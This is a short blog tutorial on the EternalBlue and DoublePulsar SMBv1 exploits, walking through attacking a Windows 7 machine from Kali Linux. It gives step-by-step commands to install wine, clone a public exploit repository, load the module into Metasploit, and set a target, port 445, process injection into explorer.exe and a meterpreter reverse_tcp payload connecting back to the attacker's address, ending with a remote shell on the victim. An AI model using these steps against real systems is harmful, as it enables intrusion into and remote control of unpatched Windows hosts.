What is Eternalblue-Doublepulsar?

THE EYE OF CYBER
3 min readNov 25, 2019

EternalBlue Malware Developed by National Security Agency (NSA) exploiting Windows based Server Message Block (SMBv1) and to be believed the tool has released by Shadow Brokers hackers Group in April 2017 and it has been used for Wannacry Cyber Attack.

The DOUBLEPULSAR help us to provide a backdoor access to a windows system.

We can exploit windows 7 remotely and don’t need to send any spyware or payload to victim.

So let’s get started!

Attacker Machine: Kali Linux — [IP Address: 192.168.1.103]

(you can use any other penetration-testing OS)

Victim Machine: Windows 7 — [IP Address: 192.168.1.112]

Before Downloading any exploit from GitHub we have to configure something called wine

wine help us to run windows program on a non-Windows computer

apt-get update -y
apt-get upgrade -y
apt-get install wine -y
apt-get install winetricks -y
dpkg –add-architecture i386 && apt-get update && apt-get install wine32 -y

Run these above command one by one. After this we have to Download the Exploit from GitHub. Open the terminal in Kali Linux and type following command to download this exploit from GitHub.

git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git

Note: Be sure that we’re cloning the git in the home directory.

After Downloading the exploit we need to move the exploit inside the Metasploit to do that, just go ahead and open the downloaded directory and copy Eternal Blue-Doublepulsar.rb ruby file.

Now paste these copied ruby file inside given path /usr/share/metasploit-framework /module/exploits/windows/smb which will add this exploit inside Metasploit-Framework.

Now we are done with importing exploit to Metasploit-Framework, just load msfconsole.

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msf > use exploit/windows/smb/eternalblue_doublepulsar

msf > show options

You can change the options according to your need.

Here, we have to set

msf exploit(eternalblue_doublepulsar) > RHOST <Victim Address>

msf exploit(eternalblue_doublepulsar) > RPORT 445

We have to set a windows meterpreter reverse_tcp payload to get a reverse connection in meterpreter.

msf exploit(eternalblue_doublepulsar) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(eternalblue_doublepulsar) > set LHOST <Attacker Address>

We also have to specify a PROCESSINJECT

msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT explorer.exe

(you can give whatever process that you want to migrate to)

Set target architecture according to victim machine by default it is set to x86 (32bit)

msf exploit(eternalblue_doublepulsar) >set targetarchitecture x64

As you can see below screenshot all config is all set

Just we need to type exploit and which will give us a meterpreter session.

We successfully spawned a meterpreter shell in Windows 7.

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THE EYE OF CYBER

Cyber Security specialist,working with facebook security for 2 years now a freelancer at HACKER101..my aims are not for being popular but to make my sucess loud